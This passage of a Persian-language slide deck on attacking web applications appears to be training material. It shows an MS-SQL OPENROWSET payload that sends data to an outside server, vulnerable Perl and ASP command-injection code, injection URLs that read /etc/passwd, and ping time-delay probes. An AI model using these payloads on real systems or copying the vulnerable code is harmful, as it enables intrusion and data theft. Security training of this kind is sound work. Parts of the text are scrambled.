  50. 50. ‫حمله به نرم افزارهای تحت وب‬ http//:www.evilsql) Blind SQL Injection ‫استخراج اطلعات مورد نظر در حملت‬  (.com/page1.html (Out of band channles) ‫آشنایی با روش های غیر معمول استخراج اطلعات‬  MS-SQL Openrowset   insert into openrowset(‘SQLOLEDB’,‘DRIVER={SQL Server};SERVER=10.20.10.20,80;UID=sa;PWD=1234’,‘select * from foo’) values (@@version) DNS Resolve  HTTP GET  http//:www.cqure.net/files/OWASP%20-%20Sweden%20-%2020080527%20-%20SQL%20injection.zip  SQL Injection ‫اجرای دستورات سیستم عامل از طریق‬  ‫ استخراج اطلعات‬Automated ‫بررسی ابزارهای‬  50
  51. 51. ‫حمله به نرم افزارهای تحت وب‬ OS Command Injection ‫ بررسی حملت‬ use CGI qw(:standard escapeHTML); print header, start_html(““); Perl Applications  print “<pre>“; my $command = “du -h --exclude php* /var/www/html“; $command= $command.param(“dir“); $command=`$command`; print “$commandn“; print end_html; http://web-app/cgi-bin/vuln.cgi?dir=/public|%20cat %/etc/passwd <% ASP Applications  Set oScript = Server.CreateObject(“WSCRIPT.SHELL“) Set oFileSys = Server.CreateObject(“Scripting.FileSystemObject“) szCMD = “type c:inetpubwwwrootlogs“ & Request.Form(“FileName“) szTempFile = “C:“ & oFileSys.GetTempName() Call oScript.Run (“cmd.exe /c “ & szCMD & “ > “ & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) %> http://web-app/view.asp [Form Data  sample.log && dir c: 51
  52. 52. ‫حمله به نرم افزارهای تحت وب‬ ‫‪ ‬بررسی حملت 2( ‪)Command Injection‬‬ ‫‪ ‬روش های شناسایی‬ ‫تزریق کاراکترهای خاص در پارامترها ، قبل از دستورات و مشاهده مستقیم نتیجه‬ ‫‪‬‬ ‫‪ ‬کاراکتر های ; | &&‬ ‫تزریق و تشخیص بر اساس تآخیرهای زمانی‬ ‫‪‬‬ ‫‪| ping –i 30 127.0.0.1 | ‬‬ ‫‪| ping –n 30 127.0.0.1 | ‬‬ ‫‪& ping –i 30 127.0.0.1 & ‬‬ ‫‪& ping –n 30 127.0.0.1 & ‬‬ ‫‪; ping 127.0.0.1 ; ‬‬ ‫‪%0a ping –i 30 127.0.0.1 %0a ‬‬ ‫‪` ping 127.0.0.1 ` ‬‬ ‫تزریق و تشخیص بر اساس مشاهده خروجی دستور از سایر روش ها‬ ‫‪‬‬ ‫‪ ‬بررسی حملت ‪Code Injection‬‬ ‫‪Dynamic Code Execution in PHP ‬‬ ‫‪Dynamic Code Execution in ASP‬‬ ‫‪‬‬ ‫‪File Inclusion‬‬ ‫‪‬‬ ‫‪(PHP Remote File Inclusion (RFI‬‬ ‫‪‬‬ ‫‪(Local File Inclusin (LFI‬‬ ‫‪‬‬ ‫25‬
  53. 53. ‫حمله به نرم افزارهای تحت وب‬ ‫‪Path Traversal‬‬ ‫(‬ ‫433 ‪(WAHHB Page‬‬ ‫‪ ‬بررسی حملت‬ ‫(‬ ‫)‪Cross Site Scripting (XSS‬‬ ‫573 ‪(WAHHB Page‬‬ ‫‪ ‬بررسی حملت‬ ‫بررسی انواع حملت ‪ XSS‬و تفاوت های آنها‬ ‫‪‬‬ ‫‪Reflected XSS‬‬ ‫‪‬‬ ‫‪Stored XSS‬‬ ‫‪‬‬ ‫(‬ ‫شناسایی ضعف های 104 ‪XSS (WAHHB Page‬‬ ‫‪‬‬ ‫بررسی کاربردهای حملت ‪XSS‬‬ ‫‪‬‬ ‫سرقت ‪ Session‬کاربر‬ ‫‪‬‬ ‫‪ Bypass‬کردن برخی محدودیت های ‪Web Application‬‬ ‫‪‬‬ ‫ارسال درخواست بجای کاربر به ‪ web application‬برای انجام عملی خاص‬ ‫‪‬‬ ‫بررسی سایر روش های سو استفاده )693 ‪(WAHHB Page‬‬ ‫‪‬‬ ‫‪ ‬بررسی حملت ‪Parameter Tampering/Manipulation‬‬ ‫‪ ‬بررسی حملت ‪Forceful Browsing‬‬ ‫‪ ‬معرفی ابزارهای پویش و بررسی نرم افزارهای تحت وب‬ ‫35‬
  1. A particular slide catching your eye?

    Clipping is a handy way to collect important slides you want to go back to later.

×